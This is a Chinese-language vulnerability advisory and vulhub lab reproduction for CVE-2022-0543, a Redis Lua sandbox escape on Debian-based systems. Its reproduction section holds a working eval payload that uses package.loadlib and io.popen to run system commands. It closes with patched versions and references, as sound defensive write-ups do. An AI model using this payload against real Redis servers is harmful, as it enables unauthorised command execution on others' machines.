0x01 漏洞背景
在 Debian 系的 Linux 发行版系统上,由于打包问题,Redis 在 Lua 解析器初始化后,package 变量没有被正确清除,导致攻击者可以利用它来进行 Lua 沙箱逃逸,从而执行任意系统命令。
CVE-2022-0543 只影响 Debian 系的 Linux 发行版系统(Debian、Ubuntu 等)上的 Redis 服务,其他系统上的 Redis 服务不受影响。
另外要利用此漏洞,攻击者需具有执行 eval 命令的权限(攻击者经过认证、或者 Redis 本身未设置鉴权检查)。
0x02 影响范围
运行在 Debian、Ubuntu 或其他基于 Debian 的 Linux 发行版系统上的 Redis 服务。
0x03 漏洞复现
-
复现环境
Linux kali 5.10.0-kali3-amd64 #1 SMP Debian 5.10.13-1kali1 (2021-02-08)
x86_64 GNU/Linux
-
复现过程
这里使用vulhub进行复现,进入到vulhub目录,使用git pull更新:
git pull
安装redis:
apt-get install redis
进入redis目录,启动环境:
cd redis
cd CVE-2022-0543
docker-compose up -d
redis连接:
redis-cli
执行payload:
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linuxgnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f =
io.popen("uname -a", "r"); local res = f:read("*a"); f:close(); return res'
0
也可以把payload里的命令换成其他的,例如id:
注意:
值得注意的是,不同环境下的liblua库路径不同,你需要指定一个正确的路径。在Kali中,这 个路径是/usr/lib/x86_64-linux-gnu/liblua5.1.so.0
0x04 修复建议
可通过更新升级 Redis Server 到以下安全版本进行漏洞修复。
-
Debian Redis:
5:5.0.14-1+deb10u2
5:6.0.16-1+deb11u2
5:6.0.16-2
-
Ubuntu Redis:
5:6.0.15-1ubuntu0.1
5:5.0.7-2ubuntu0.1
0x05 参考链接
https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce
https://security-tracker.debian.org/tracker/CVE-2022-0543
https://github.com/vulhub/vulhub/blob/master/redis/CVE-2022-0543/README.zh-cn.md
蓝爵网安
广东蓝爵网络安全技术股份有限公司(简称“蓝爵网安”)成立于2007年,是一家专注于网络安全技术研究、网络安全服务十年以上的高新技术企业。蓝爵网安近年来一直围绕网络安全等级保护核心思想提供安全咨询、安全评估、安全开发、安全测试、安全运维、安全培训、应急响应七大类专业网络安全服务。 蓝爵网安拥有多个技术领域的专家服务团队,多次在重要安全保障期间、大型安全攻防演练等活动中获得了相关方的高度认可表彰。
原文始发于微信公众号(蓝爵网安):Redis沙盒逃逸漏洞(CVE-2022-0543)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论